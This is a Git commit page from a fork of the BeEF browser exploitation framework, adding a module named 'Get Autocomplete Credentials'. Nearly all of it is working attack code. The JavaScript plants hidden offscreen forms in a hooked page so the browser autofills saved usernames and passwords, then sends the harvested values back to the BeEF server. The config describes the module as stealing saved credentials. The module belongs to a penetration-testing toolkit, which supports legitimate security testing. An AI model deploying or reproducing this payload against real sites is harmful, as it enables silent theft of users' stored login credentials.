Hiddenden/beef
2
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Replace autocomplete_theft with get_autocomplete_creds

Browse Source
This commit is contained in:
Brendan Coles
2020-02-12 13:53:24 +00:00
parent 38447da541
commit 7a80e5f6ec
6 changed files with 107 additions and 140 deletions
Download Patch File Download Diff File Expand all files Collapse all files

74
modules/browser/hooked_domain/get_autocomplete_creds/command.js Normal file
View File

@@ -0,0 +1,74 @@
//
// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
get_form_data = function(form_name) {
var f = document.getElementById(form_name);
var results = '';
for(i=0; i<f.elements.length; i++) {
var k = f.elements[i].id;
var v = f.elements[i].value;
if (v != '') {
results += k + '=' + v + '&';
}
}
if (results == '') {
beef.debug("[Get Autocomplete Creds] Found no autocomplete credentials");
return;
}
beef.debug("[Get Autocomplete Creds] Found autocomplete data: '" + results + "'");
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'results=' + results, beef.are.status_success());
}
create_form = function(input_name) {
var f = document.createElement("form");
f.setAttribute("id", "get_autocomplete_" + input_name + "_<%= @command_id %>");
f.setAttribute("style", "position:absolute;visibility:hidden;top:-1000px;left:-1000px;width:1px;height:1px;border:none;");
var u_input = document.createElement('input');
u_input.setAttribute("id", input_name);
u_input.setAttribute("name", input_name);
u_input.setAttribute("style", "position:absolute;visibility:hidden;top:-1000px;left:-1000px;width:1px;height:1px;border:none;");
u_input.setAttribute("type", "text");
f.appendChild(u_input);
var p_input = document.createElement('input');
p_input.setAttribute("id", "password");
p_input.setAttribute("name", "password");
p_input.setAttribute("style", "position:absolute;visibility:hidden;top:-1000px;left:-1000px;width:1px;height:1px;border:none;");
p_input.setAttribute("type", "password");
f.appendChild(p_input);
document.body.appendChild(f);
}
var inputs = [
'user',
'uname',
'username',
'user_name',
'login',
'loginname',
'login_name',
'email',
'emailaddress',
'email_address',
'session[username_or_email]',
'name'
];
beef.debug("[Get Autocomplete Creds] Creating forms ...");
for(i=0; i<inputs.length; i++) {
var input_name = inputs[i];
create_form(input_name);
setTimeout("get_form_data('get_autocomplete_" + input_name + "_<%= @command_id %>'); document.body.removeChild(document.getElementById('get_autocomplete_" + input_name + "_<%= @command_id %>'));", 2000);
}
});

16
modules/browser/hooked_domain/get_autocomplete_creds/config.yaml Normal file
View File

@@ -0,0 +1,16 @@
#
# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
get_autocomplete_creds:
enable: true
category: ["Browser", "Hooked Domain"]
name: "Get Autocomplete Credentials"
description: "This module steals saved credentials for the hooked domain.<br/><br/>Tested on Firefox 68 and Chrome 49.<br/><br/>Note: On Firefox, the window must have focus."
authors: ["bcoles"]
target:
working: ["FF", "C"]
not_working: ["ALL"]

17
modules/browser/hooked_domain/get_autocomplete_creds/module.rb Normal file
View File

@@ -0,0 +1,17 @@
#
# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Get_autocomplete_creds < BeEF::Core::Command
def self.options
[]
end
def post_execute
content = {}
content['results'] = @datastore['results']
save content
end
end